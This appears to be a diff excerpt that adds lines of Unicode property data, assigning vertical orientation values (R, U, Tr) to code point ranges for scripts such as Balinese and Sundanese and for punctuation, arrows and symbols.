+1944..1945     ; R  # Po     [2] LIMBU EXCLAMATION MARK..LIMBU QUESTION MARK
+1946..194F     ; R  # Nd    [10] LIMBU DIGIT ZERO..LIMBU DIGIT NINE
+1950..196D     ; R  # Lo    [30] TAI LE LETTER KA..TAI LE LETTER AI
+1970..1974     ; R  # Lo     [5] TAI LE LETTER TONE-2..TAI LE LETTER TONE-6
+1980..19AB     ; R  # Lo    [44] NEW TAI LUE LETTER HIGH QA..NEW TAI LUE LETTER LOW SUA
+19B0..19C9     ; R  # Lo    [26] NEW TAI LUE VOWEL SIGN VOWEL SHORTENER..NEW TAI LUE TONE MARK-2
+19D0..19D9     ; R  # Nd    [10] NEW TAI LUE DIGIT ZERO..NEW TAI LUE DIGIT NINE
+19DA           ; R  # No         NEW TAI LUE THAM DIGIT ONE
+19DE..19DF     ; R  # So     [2] NEW TAI LUE SIGN LAE..NEW TAI LUE SIGN LAEV
+19E0..19FF     ; R  # So    [32] KHMER SYMBOL PATHAMASAT..KHMER SYMBOL DAP-PRAM ROC
+1A00..1A16     ; R  # Lo    [23] BUGINESE LETTER KA..BUGINESE LETTER HA
+1A17..1A18     ; R  # Mn     [2] BUGINESE VOWEL SIGN I..BUGINESE VOWEL SIGN U
+1A19..1A1A     ; R  # Mc     [2] BUGINESE VOWEL SIGN E..BUGINESE VOWEL SIGN O
+1A1B           ; R  # Mn         BUGINESE VOWEL SIGN AE
+1A1E..1A1F     ; R  # Po     [2] BUGINESE PALLAWA..BUGINESE END OF SECTION
+1A20..1A54     ; R  # Lo    [53] TAI THAM LETTER HIGH KA..TAI THAM LETTER GREAT SA
+1A55           ; R  # Mc         TAI THAM CONSONANT SIGN MEDIAL RA
+1A56           ; R  # Mn         TAI THAM CONSONANT SIGN MEDIAL LA
+1A57           ; R  # Mc         TAI THAM CONSONANT SIGN LA TANG LAI
+1A58..1A5E     ; R  # Mn     [7] TAI THAM SIGN MAI KANG LAI..TAI THAM CONSONANT SIGN SA
+1A60           ; R  # Mn         TAI THAM SIGN SAKOT
+1A61           ; R  # Mc         TAI THAM VOWEL SIGN A
+1A62           ; R  # Mn         TAI THAM VOWEL SIGN MAI SAT
+1A63..1A64     ; R  # Mc     [2] TAI THAM VOWEL SIGN AA..TAI THAM VOWEL SIGN TALL AA
+1A65..1A6C     ; R  # Mn     [8] TAI THAM VOWEL SIGN I..TAI THAM VOWEL SIGN OA BELOW
+1A6D..1A72     ; R  # Mc     [6] TAI THAM VOWEL SIGN OY..TAI THAM VOWEL SIGN THAM AI
+1A73..1A7C     ; R  # Mn    [10] TAI THAM VOWEL SIGN OA ABOVE..TAI THAM SIGN KHUEN-LUE KARAN
+1A7F           ; R  # Mn         TAI THAM COMBINING CRYPTOGRAMMIC DOT
+1A80..1A89     ; R  # Nd    [10] TAI THAM HORA DIGIT ZERO..TAI THAM HORA DIGIT NINE
+1A90..1A99     ; R  # Nd    [10] TAI THAM THAM DIGIT ZERO..TAI THAM THAM DIGIT NINE
+1AA0..1AA6     ; R  # Po     [7] TAI THAM SIGN WIANG..TAI THAM SIGN REVERSED ROTATED RANA
+1AA7           ; R  # Lm         TAI THAM SIGN MAI YAMOK
+1AA8..1AAD     ; R  # Po     [6] TAI THAM SIGN KAAN..TAI THAM SIGN CAANG
+1AB0..1ABD     ; R  # Mn    [14] COMBINING DOUBLED CIRCUMFLEX ACCENT..COMBINING PARENTHESES BELOW
+1ABE           ; R  # Me         COMBINING PARENTHESES OVERLAY
+1B00..1B03     ; R  # Mn     [4] BALINESE SIGN ULU RICEM..BALINESE SIGN SURANG
+1B04           ; R  # Mc         BALINESE SIGN BISAH
+1B05..1B33     ; R  # Lo    [47] BALINESE LETTER AKARA..BALINESE LETTER HA
+1B34           ; R  # Mn         BALINESE SIGN REREKAN
+1B35           ; R  # Mc         BALINESE VOWEL SIGN TEDUNG
+1B36..1B3A     ; R  # Mn     [5] BALINESE VOWEL SIGN ULU..BALINESE VOWEL SIGN RA REPA
+1B3B           ; R  # Mc         BALINESE VOWEL SIGN RA REPA TEDUNG
+1B3C           ; R  # Mn         BALINESE VOWEL SIGN LA LENGA
+1B3D..1B41     ; R  # Mc     [5] BALINESE VOWEL SIGN LA LENGA TEDUNG..BALINESE VOWEL SIGN TALING REPA TEDUNG
+1B42           ; R  # Mn         BALINESE VOWEL SIGN PEPET
+1B43..1B44     ; R  # Mc     [2] BALINESE VOWEL SIGN PEPET TEDUNG..BALINESE ADEG ADEG
+1B45..1B4B     ; R  # Lo     [7] BALINESE LETTER KAF SASAK..BALINESE LETTER ASYURA SASAK
+1B50..1B59     ; R  # Nd    [10] BALINESE DIGIT ZERO..BALINESE DIGIT NINE
+1B5A..1B60     ; R  # Po     [7] BALINESE PANTI..BALINESE PAMENENG
+1B61..1B6A     ; R  # So    [10] BALINESE MUSICAL SYMBOL DONG..BALINESE MUSICAL SYMBOL DANG GEDE
+1B6B..1B73     ; R  # Mn     [9] BALINESE MUSICAL SYMBOL COMBINING TEGEH..BALINESE MUSICAL SYMBOL COMBINING GONG
+1B74..1B7C     ; R  # So     [9] BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG..BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
+1B80..1B81     ; R  # Mn     [2] SUNDANESE SIGN PANYECEK..SUNDANESE SIGN PANGLAYAR
+1B82           ; R  # Mc         SUNDANESE SIGN PANGWISAD
+1B83..1BA0     ; R  # Lo    [30] SUNDANESE LETTER A..SUNDANESE LETTER HA
+1BA1           ; R  # Mc         SUNDANESE CONSONANT SIGN PAMINGKAL
+1BA2..1BA5     ; R  # Mn     [4] SUNDANESE CONSONANT SIGN PANYAKRA..SUNDANESE VOWEL SIGN PANYUKU
+1BA6..1BA7     ; R  # Mc     [2] SUNDANESE VOWEL SIGN PANAELAENG..SUNDANESE VOWEL SIGN PANOLONG
+1BA8..1BA9     ; R  # Mn     [2] SUNDANESE VOWEL SIGN PAMEPET..SUNDANESE VOWEL SIGN PANEULEUNG
+1BAA           ; R  # Mc         SUNDANESE SIGN PAMAAEH
+1BAB..1BAD     ; R  # Mn     [3] SUNDANESE SIGN VIRAMA..SUNDANESE CONSONANT SIGN PASANGAN WA
+1BAE..1BAF     ; R  # Lo     [2] SUNDANESE LETTER KHA..SUNDANESE LETTER SYA
+1BB0..1BB9     ; R  # Nd    [10] SUNDANESE DIGIT ZERO..SUNDANESE DIGIT NINE
+1BBA..1BBF     ; R  # Lo     [6] SUNDANESE AVAGRAHA..SUNDANESE LETTER FINAL M
+1BC0..1BE5     ; R  # Lo    [38] BATAK LETTER A..BATAK LETTER U
+1BE6           ; R  # Mn         BATAK SIGN TOMPI
+1BE7           ; R  # Mc         BATAK VOWEL SIGN E
+1BE8..1BE9     ; R  # Mn     [2] BATAK VOWEL SIGN PAKPAK E..BATAK VOWEL SIGN EE
+1BEA..1BEC     ; R  # Mc     [3] BATAK VOWEL SIGN I..BATAK VOWEL SIGN O
+1BED           ; R  # Mn         BATAK VOWEL SIGN KARO O
+1BEE           ; R  # Mc         BATAK VOWEL SIGN U
+1BEF..1BF1     ; R  # Mn     [3] BATAK VOWEL SIGN U FOR SIMALUNGUN SA..BATAK CONSONANT SIGN H
+1BF2..1BF3     ; R  # Mc     [2] BATAK PANGOLAT..BATAK PANONGONAN
+1BFC..1BFF     ; R  # Po     [4] BATAK SYMBOL BINDU NA METEK..BATAK SYMBOL BINDU PANGOLAT
+1C00..1C23     ; R  # Lo    [36] LEPCHA LETTER KA..LEPCHA LETTER A
+1C24..1C2B     ; R  # Mc     [8] LEPCHA SUBJOINED LETTER YA..LEPCHA VOWEL SIGN UU
+1C2C..1C33     ; R  # Mn     [8] LEPCHA VOWEL SIGN E..LEPCHA CONSONANT SIGN T
+1C34..1C35     ; R  # Mc     [2] LEPCHA CONSONANT SIGN NYIN-DO..LEPCHA CONSONANT SIGN KANG
+1C36..1C37     ; R  # Mn     [2] LEPCHA SIGN RAN..LEPCHA SIGN NUKTA
+1C3B..1C3F     ; R  # Po     [5] LEPCHA PUNCTUATION TA-ROL..LEPCHA PUNCTUATION TSHOOK
+1C40..1C49     ; R  # Nd    [10] LEPCHA DIGIT ZERO..LEPCHA DIGIT NINE
+1C4D..1C4F     ; R  # Lo     [3] LEPCHA LETTER TTA..LEPCHA LETTER DDA
+1C50..1C59     ; R  # Nd    [10] OL CHIKI DIGIT ZERO..OL CHIKI DIGIT NINE
+1C5A..1C77     ; R  # Lo    [30] OL CHIKI LETTER LA..OL CHIKI LETTER OH
+1C78..1C7D     ; R  # Lm     [6] OL CHIKI MU TTUDDAG..OL CHIKI AHAD
+1C7E..1C7F     ; R  # Po     [2] OL CHIKI PUNCTUATION MUCAAD..OL CHIKI PUNCTUATION DOUBLE MUCAAD
+1C80..1C88     ; R  # Ll     [9] CYRILLIC SMALL LETTER ROUNDED VE..CYRILLIC SMALL LETTER UNBLENDED UK
+1CC0..1CC7     ; R  # Po     [8] SUNDANESE PUNCTUATION BINDU SURYA..SUNDANESE PUNCTUATION BINDU BA SATANGA
+1CD0..1CD2     ; R  # Mn     [3] VEDIC TONE KARSHANA..VEDIC TONE PRENKHA
+1CD3           ; R  # Po         VEDIC SIGN NIHSHVASA
+1CD4..1CE0     ; R  # Mn    [13] VEDIC SIGN YAJURVEDIC MIDLINE SVARITA..VEDIC TONE RIGVEDIC KASHMIRI INDEPENDENT SVARITA
+1CE1           ; R  # Mc         VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA
+1CE2..1CE8     ; R  # Mn     [7] VEDIC SIGN VISARGA SVARITA..VEDIC SIGN VISARGA ANUDATTA WITH TAIL
+1CE9..1CEC     ; R  # Lo     [4] VEDIC SIGN ANUSVARA ANTARGOMUKHA..VEDIC SIGN ANUSVARA VAMAGOMUKHA WITH TAIL
+1CED           ; R  # Mn         VEDIC SIGN TIRYAK
+1CEE..1CF1     ; R  # Lo     [4] VEDIC SIGN HEXIFORM LONG ANUSVARA..VEDIC SIGN ANUSVARA UBHAYATO MUKHA
+1CF2..1CF3     ; R  # Mc     [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
+1CF4           ; R  # Mn         VEDIC TONE CANDRA ABOVE
+1CF5..1CF6     ; R  # Lo     [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7           ; R  # Mc         VEDIC SIGN ATIKRAMA
+1CF8..1CF9     ; R  # Mn     [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
+1D00..1D2B     ; R  # Ll    [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
+1D2C..1D6A     ; R  # Lm    [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
+1D6B..1D77     ; R  # Ll    [13] LATIN SMALL LETTER UE..LATIN SMALL LETTER TURNED G
+1D78           ; R  # Lm         MODIFIER LETTER CYRILLIC EN
+1D79..1D7F     ; R  # Ll     [7] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER UPSILON WITH STROKE
+1D80..1D9A     ; R  # Ll    [27] LATIN SMALL LETTER B WITH PALATAL HOOK..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK
+1D9B..1DBF     ; R  # Lm    [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA
+1DC0..1DF9     ; R  # Mn    [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
+1DFB..1DFF     ; R  # Mn     [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
+1E00..1EFF     ; R  # L&   [256] LATIN CAPITAL LETTER A WITH RING BELOW..LATIN SMALL LETTER Y WITH LOOP
+1F00..1F15     ; R  # L&    [22] GREEK SMALL LETTER ALPHA WITH PSILI..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
+1F18..1F1D     ; R  # Lu     [6] GREEK CAPITAL LETTER EPSILON WITH PSILI..GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA
+1F20..1F45     ; R  # L&    [38] GREEK SMALL LETTER ETA WITH PSILI..GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA
+1F48..1F4D     ; R  # Lu     [6] GREEK CAPITAL LETTER OMICRON WITH PSILI..GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA
+1F50..1F57     ; R  # Ll     [8] GREEK SMALL LETTER UPSILON WITH PSILI..GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI
+1F59           ; R  # Lu         GREEK CAPITAL LETTER UPSILON WITH DASIA
+1F5B           ; R  # Lu         GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA
+1F5D           ; R  # Lu         GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA
+1F5F..1F7D     ; R  # L&    [31] GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI..GREEK SMALL LETTER OMEGA WITH OXIA
+1F80..1FB4     ; R  # L&    [53] GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI..GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI
+1FB6..1FBC     ; R  # L&     [7] GREEK SMALL LETTER ALPHA WITH PERISPOMENI..GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI
+1FBD           ; R  # Sk         GREEK KORONIS
+1FBE           ; R  # Ll         GREEK PROSGEGRAMMENI
+1FBF..1FC1     ; R  # Sk     [3] GREEK PSILI..GREEK DIALYTIKA AND PERISPOMENI
+1FC2..1FC4     ; R  # Ll     [3] GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI..GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI
+1FC6..1FCC     ; R  # L&     [7] GREEK SMALL LETTER ETA WITH PERISPOMENI..GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI
+1FCD..1FCF     ; R  # Sk     [3] GREEK PSILI AND VARIA..GREEK PSILI AND PERISPOMENI
+1FD0..1FD3     ; R  # Ll     [4] GREEK SMALL LETTER IOTA WITH VRACHY..GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA
+1FD6..1FDB     ; R  # L&     [6] GREEK SMALL LETTER IOTA WITH PERISPOMENI..GREEK CAPITAL LETTER IOTA WITH OXIA
+1FDD..1FDF     ; R  # Sk     [3] GREEK DASIA AND VARIA..GREEK DASIA AND PERISPOMENI
+1FE0..1FEC     ; R  # L&    [13] GREEK SMALL LETTER UPSILON WITH VRACHY..GREEK CAPITAL LETTER RHO WITH DASIA
+1FED..1FEF     ; R  # Sk     [3] GREEK DIALYTIKA AND VARIA..GREEK VARIA
+1FF2..1FF4     ; R  # Ll     [3] GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI..GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI
+1FF6..1FFC     ; R  # L&     [7] GREEK SMALL LETTER OMEGA WITH PERISPOMENI..GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI
+1FFD..1FFE     ; R  # Sk     [2] GREEK OXIA..GREEK DASIA
+2000..200A     ; R  # Zs    [11] EN QUAD..HAIR SPACE
+200B..200F     ; R  # Cf     [5] ZERO WIDTH SPACE..RIGHT-TO-LEFT MARK
+2010..2015     ; R  # Pd     [6] HYPHEN..HORIZONTAL BAR
+2016           ; U  # Po         DOUBLE VERTICAL LINE
+2017           ; R  # Po         DOUBLE LOW LINE
+2018           ; R  # Pi         LEFT SINGLE QUOTATION MARK
+2019           ; R  # Pf         RIGHT SINGLE QUOTATION MARK
+201A           ; R  # Ps         SINGLE LOW-9 QUOTATION MARK
+201B..201C     ; R  # Pi     [2] SINGLE HIGH-REVERSED-9 QUOTATION MARK..LEFT DOUBLE QUOTATION MARK
+201D           ; R  # Pf         RIGHT DOUBLE QUOTATION MARK
+201E           ; R  # Ps         DOUBLE LOW-9 QUOTATION MARK
+201F           ; R  # Pi         DOUBLE HIGH-REVERSED-9 QUOTATION MARK
+2020..2021     ; U  # Po     [2] DAGGER..DOUBLE DAGGER
+2022..2027     ; R  # Po     [6] BULLET..HYPHENATION POINT
+2028           ; R  # Zl         LINE SEPARATOR
+2029           ; R  # Zp         PARAGRAPH SEPARATOR
+202A..202E     ; R  # Cf     [5] LEFT-TO-RIGHT EMBEDDING..RIGHT-TO-LEFT OVERRIDE
+202F           ; R  # Zs         NARROW NO-BREAK SPACE
+2030..2031     ; U  # Po     [2] PER MILLE SIGN..PER TEN THOUSAND SIGN
+2032..2038     ; R  # Po     [7] PRIME..CARET
+2039           ; R  # Pi         SINGLE LEFT-POINTING ANGLE QUOTATION MARK
+203A           ; R  # Pf         SINGLE RIGHT-POINTING ANGLE QUOTATION MARK
+203B..203C     ; U  # Po     [2] REFERENCE MARK..DOUBLE EXCLAMATION MARK
+203D..203E     ; R  # Po     [2] INTERROBANG..OVERLINE
+203F..2040     ; R  # Pc     [2] UNDERTIE..CHARACTER TIE
+2041           ; R  # Po         CARET INSERTION POINT
+2042           ; U  # Po         ASTERISM
+2043           ; R  # Po         HYPHEN BULLET
+2044           ; R  # Sm         FRACTION SLASH
+2045           ; R  # Ps         LEFT SQUARE BRACKET WITH QUILL
+2046           ; R  # Pe         RIGHT SQUARE BRACKET WITH QUILL
+2047..2049     ; U  # Po     [3] DOUBLE QUESTION MARK..EXCLAMATION QUESTION MARK
+204A..2050     ; R  # Po     [7] TIRONIAN SIGN ET..CLOSE UP
+2051           ; U  # Po         TWO ASTERISKS ALIGNED VERTICALLY
+2052           ; R  # Sm         COMMERCIAL MINUS SIGN
+2053           ; R  # Po         SWUNG DASH
+2054           ; R  # Pc         INVERTED UNDERTIE
+2055..205E     ; R  # Po    [10] FLOWER PUNCTUATION MARK..VERTICAL FOUR DOTS
+205F           ; R  # Zs         MEDIUM MATHEMATICAL SPACE
+2060..2064     ; R  # Cf     [5] WORD JOINER..INVISIBLE PLUS
+2065           ; U  # Cn         <reserved-2065>
+2066..206F     ; R  # Cf    [10] LEFT-TO-RIGHT ISOLATE..NOMINAL DIGIT SHAPES
+2070           ; R  # No         SUPERSCRIPT ZERO
+2071           ; R  # Lm         SUPERSCRIPT LATIN SMALL LETTER I
+2074..2079     ; R  # No     [6] SUPERSCRIPT FOUR..SUPERSCRIPT NINE
+207A..207C     ; R  # Sm     [3] SUPERSCRIPT PLUS SIGN..SUPERSCRIPT EQUALS SIGN
+207D           ; R  # Ps         SUPERSCRIPT LEFT PARENTHESIS
+207E           ; R  # Pe         SUPERSCRIPT RIGHT PARENTHESIS
+207F           ; R  # Lm         SUPERSCRIPT LATIN SMALL LETTER N
+2080..2089     ; R  # No    [10] SUBSCRIPT ZERO..SUBSCRIPT NINE
+208A..208C     ; R  # Sm     [3] SUBSCRIPT PLUS SIGN..SUBSCRIPT EQUALS SIGN
+208D           ; R  # Ps         SUBSCRIPT LEFT PARENTHESIS
+208E           ; R  # Pe         SUBSCRIPT RIGHT PARENTHESIS
+2090..209C     ; R  # Lm    [13] LATIN SUBSCRIPT SMALL LETTER A..LATIN SUBSCRIPT SMALL LETTER T
+20A0..20BF     ; R  # Sc    [32] EURO-CURRENCY SIGN..BITCOIN SIGN
+20D0..20DC     ; R  # Mn    [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
+20DD..20E0     ; U  # Me     [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH
+20E1           ; R  # Mn         COMBINING LEFT RIGHT ARROW ABOVE
+20E2..20E4     ; U  # Me     [3] COMBINING ENCLOSING SCREEN..COMBINING ENCLOSING UPWARD POINTING TRIANGLE
+20E5..20F0     ; R  # Mn    [12] COMBINING REVERSE SOLIDUS OVERLAY..COMBINING ASTERISK ABOVE
+2100..2101     ; U  # So     [2] ACCOUNT OF..ADDRESSED TO THE SUBJECT
+2102           ; R  # Lu         DOUBLE-STRUCK CAPITAL C
+2103..2106     ; U  # So     [4] DEGREE CELSIUS..CADA UNA
+2107           ; U  # Lu         EULER CONSTANT
+2108..2109     ; U  # So     [2] SCRUPLE..DEGREE FAHRENHEIT
+210A..210E     ; R  # L&     [5] SCRIPT SMALL G..PLANCK CONSTANT
+210F           ; U  # Ll         PLANCK CONSTANT OVER TWO PI
+2110..2112     ; R  # Lu     [3] SCRIPT CAPITAL I..SCRIPT CAPITAL L
+2113           ; U  # Ll         SCRIPT SMALL L
+2114           ; U  # So         L B BAR SYMBOL
+2115           ; R  # Lu         DOUBLE-STRUCK CAPITAL N
+2116..2117     ; U  # So     [2] NUMERO SIGN..SOUND RECORDING COPYRIGHT
+2118           ; R  # Sm         SCRIPT CAPITAL P
+2119..211D     ; R  # Lu     [5] DOUBLE-STRUCK CAPITAL P..DOUBLE-STRUCK CAPITAL R
+211E..2123     ; U  # So     [6] PRESCRIPTION TAKE..VERSICLE
+2124           ; R  # Lu         DOUBLE-STRUCK CAPITAL Z
+2125           ; U  # So         OUNCE SIGN
+2126           ; R  # Lu         OHM SIGN
+2127           ; U  # So         INVERTED OHM SIGN
+2128           ; R  # Lu         BLACK-LETTER CAPITAL Z
+2129           ; U  # So         TURNED GREEK SMALL LETTER IOTA
+212A..212D     ; R  # Lu     [4] KELVIN SIGN..BLACK-LETTER CAPITAL C
+212E           ; U  # So         ESTIMATED SYMBOL
+212F..2134     ; R  # L&     [6] SCRIPT SMALL E..SCRIPT SMALL O
+2135..2138     ; U  # Lo     [4] ALEF SYMBOL..DALET SYMBOL
+2139           ; U  # Ll         INFORMATION SOURCE
+213A..213B     ; U  # So     [2] ROTATED CAPITAL Q..FACSIMILE SIGN
+213C..213F     ; U  # L&     [4] DOUBLE-STRUCK SMALL PI..DOUBLE-STRUCK CAPITAL PI
+2140..2144     ; R  # Sm     [5] DOUBLE-STRUCK N-ARY SUMMATION..TURNED SANS-SERIF CAPITAL Y
+2145..2149     ; U  # L&     [5] DOUBLE-STRUCK ITALIC CAPITAL D..DOUBLE-STRUCK ITALIC SMALL J
+214A           ; U  # So         PROPERTY LINE
+214B           ; R  # Sm         TURNED AMPERSAND
+214C..214D     ; U  # So     [2] PER SIGN..AKTIESELSKAB
+214E           ; R  # Ll         TURNED SMALL F
+214F           ; U  # So         SYMBOL FOR SAMARITAN SOURCE
+2150..215F     ; U  # No    [16] VULGAR FRACTION ONE SEVENTH..FRACTION NUMERATOR ONE
+2160..2182     ; U  # Nl    [35] ROMAN NUMERAL ONE..ROMAN NUMERAL TEN THOUSAND
+2183..2184     ; U  # L&     [2] ROMAN NUMERAL REVERSED ONE HUNDRED..LATIN SMALL LETTER REVERSED C
+2185..2188     ; U  # Nl     [4] ROMAN NUMERAL SIX LATE FORM..ROMAN NUMERAL ONE HUNDRED THOUSAND
+2189           ; U  # No         VULGAR FRACTION ZERO THIRDS
+218A..218B     ; R  # So     [2] TURNED DIGIT TWO..TURNED DIGIT THREE
+218C..218F     ; U  # Cn     [4] <reserved-218C>..<reserved-218F>
+2190..2194     ; R  # Sm     [5] LEFTWARDS ARROW..LEFT RIGHT ARROW
+2195..2199     ; R  # So     [5] UP DOWN ARROW..SOUTH WEST ARROW
+219A..219B     ; R  # Sm     [2] LEFTWARDS ARROW WITH STROKE..RIGHTWARDS ARROW WITH STROKE
+219C..219F     ; R  # So     [4] LEFTWARDS WAVE ARROW..UPWARDS TWO HEADED ARROW
+21A0           ; R  # Sm         RIGHTWARDS TWO HEADED ARROW
+21A1..21A2     ; R  # So     [2] DOWNWARDS TWO HEADED ARROW..LEFTWARDS ARROW WITH TAIL
+21A3           ; R  # Sm         RIGHTWARDS ARROW WITH TAIL
+21A4..21A5     ; R  # So     [2] LEFTWARDS ARROW FROM BAR..UPWARDS ARROW FROM BAR
+21A6           ; R  # Sm         RIGHTWARDS ARROW FROM BAR
+21A7..21AD     ; R  # So     [7] DOWNWARDS ARROW FROM BAR..LEFT RIGHT WAVE ARROW
+21AE           ; R  # Sm         LEFT RIGHT ARROW WITH STROKE
+21AF..21CD     ; R  # So    [31] DOWNWARDS ZIGZAG ARROW..LEFTWARDS DOUBLE ARROW WITH STROKE
+21CE..21CF     ; R  # Sm     [2] LEFT RIGHT DOUBLE ARROW WITH STROKE..RIGHTWARDS DOUBLE ARROW WITH STROKE
+21D0..21D1     ; R  # So     [2] LEFTWARDS DOUBLE ARROW..UPWARDS DOUBLE ARROW
+21D2           ; R  # Sm         RIGHTWARDS DOUBLE ARROW
+21D3           ; R  # So         DOWNWARDS DOUBLE ARROW
+21D4           ; R  # Sm         LEFT RIGHT DOUBLE ARROW
+21D5..21F3     ; R  # So    [31] UP DOWN DOUBLE ARROW..UP DOWN WHITE ARROW
+21F4..21FF     ; R  # Sm    [12] RIGHT ARROW WITH SMALL CIRCLE..LEFT RIGHT OPEN-HEADED ARROW
+2200..221D     ; R  # Sm    [30] FOR ALL..PROPORTIONAL TO
+221E           ; U  # Sm         INFINITY
+221F..2233     ; R  # Sm    [21] RIGHT ANGLE..ANTICLOCKWISE CONTOUR INTEGRAL
+2234..2235     ; U  # Sm     [2] THEREFORE..BECAUSE
+2236..22FF     ; R  # Sm   [202] RATIO..Z NOTATION BAG MEMBERSHIP
+2300..2307     ; U  # So     [8] DIAMETER SIGN..WAVY LINE
+2308           ; R  # Ps         LEFT CEILING
+2309           ; R  # Pe         RIGHT CEILING
+230A           ; R  # Ps         LEFT FLOOR
+230B           ; R  # Pe         RIGHT FLOOR
+230C..231F     ; U  # So    [20] BOTTOM RIGHT CROP..BOTTOM RIGHT CORNER
+2320..2321     ; R  # Sm     [2] TOP HALF INTEGRAL..BOTTOM HALF INTEGRAL
+2322..2323     ; R  # So     [2] FROWN..SMILE
+2324..2328     ; U  # So     [5] UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS..KEYBOARD
+2329           ; Tr # Ps         LEFT-POINTING ANGLE BRACKET
+232A           ; Tr # Pe         RIGHT-POINTING ANGLE BRACKET
+232B           ; U  # So         ERASE TO THE LEFT
+232C..237B     ; R  # So    [80] BENZENE RING..NOT CHECK MARK
+237C           ; R  # Sm         RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW
+237D..239A     ; U  # So    [30] SHOULDERED OPEN BOX..CLEAR SCREEN SYMBOL
+239B..23B3     ; R  # Sm    [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM
+23B4..23BD     ; R  # So    [10] TOP SQUARE BRACKET..HORIZONTAL SCAN LINE-9
+23BE..23CD     ; U  # So    [16] DENTISTRY SYMBOL LIGHT VERTICAL AND TOP RIGHT..SQUARE FOOT
+23CE           ; R  # So         RETURN SYMBOL
+23CF           ; U  # So         EJECT SYMBOL
+23D0           ; R  # So         VERTICAL LINE EXTENSION
+23D1..23DB     ; U  # So    [11] METRICAL BREVE..FUSE
+23DC..23E1     ; R  # Sm     [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET
+23E2..23FF     ; U  # So    [30] WHITE TRAPEZIUM..OBSERVER EYE SYMBOL
+2400..2422     ; U  # So    [35] SYMBOL FOR NULL..BLANK SYMBOL
+2423           ; R  # So         OPEN BOX
+2424..2426     ; U  # So     [3] SYMBOL FOR NEWLINE..SYMBOL FOR SUBSTITUTE FORM TWO
+2427..243F     ; U  # Cn    [25] <reserved-2427>..<reserved-243F>
+2440..244A     ; U  # So    [11] OCR HOOK..OCR DOUBLE BACKSLASH
+244B..245F     ; U  # Cn    [21] <reserved-244B>..<reserved-245F>
+2460..249B     ; U  # No    [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP
+249C..24E9     ; U  # So    [78] PARENTHESIZED LATIN SMALL LETTER A..CIRCLED LATIN SMALL LETTER Z
+24EA..24FF     ; U  # No    [22] CIRCLED DIGIT ZERO..NEGATIVE CIRCLED DIGIT ZERO
+2500..257F     ; R  # So   [128] BOX DRAWINGS LIGHT HORIZONTAL..BOX DRAWINGS HEAVY UP AND LIGHT DOWN
+2580..259F     ; R  # So    [32] UPPER HALF BLOCK..QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT
+25A0..25B6     ; U  # So    [23] BLACK SQUARE..BLACK RIGHT-POINTING TRIANGLE
+25B7           ; U  # Sm         WHITE RIGHT-POINTING TRIANGLE
+25B8..25C0     ; U  # So     [9] BLACK RIGHT-POINTING SMALL TRIANGLE..BLACK LEFT-POINTING TRIANGLE
+25C1           ; U  # Sm         WHITE LEFT-POINTING TRIANGLE
+25C2..25F7     ; U  # So    [54] BLACK LEFT-POINTING SMALL TRIANGLE..WHITE CIRCLE WITH UPPER RIGHT QUADRANT
+25F8..25FF     ; U  # Sm     [8] UPPER LEFT TRIANGLE..LOWER RIGHT TRIANGLE
+2600..2619     ; U  # So    [26] BLACK SUN WITH RAYS..REVERSED ROTATED FLORAL HEART BULLET
+261A..261F     ; R  # So     [6] BLACK LEFT POINTING INDEX..WHITE DOWN POINTING INDEX
+2620..266E     ; U  # So    [79] SKULL AND CROSSBONES..MUSIC NATURAL SIGN
+266F           ; U  # Sm         MUSIC SHARP SIGN
+2670..26FF     ; U  # So   [144] WEST SYRIAC CROSS..WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE
+2700..2767     ; U  # So   [104] BLACK SAFETY SCISSORS..ROTATED FLORAL HEART BULLET
+2768           ; R  # Ps         MEDIUM LEFT PARENTHESIS ORNAMENT
+2769           ; R  # Pe         MEDIUM RIGHT PARENTHESIS ORNAMENT
+276A           ; R  # Ps         MEDIUM FLATTENED LEFT PARENTHESIS ORNAMENT
+276B           ; R  # Pe         MEDIUM FLATTENED RIGHT PARENTHESIS ORNAMENT
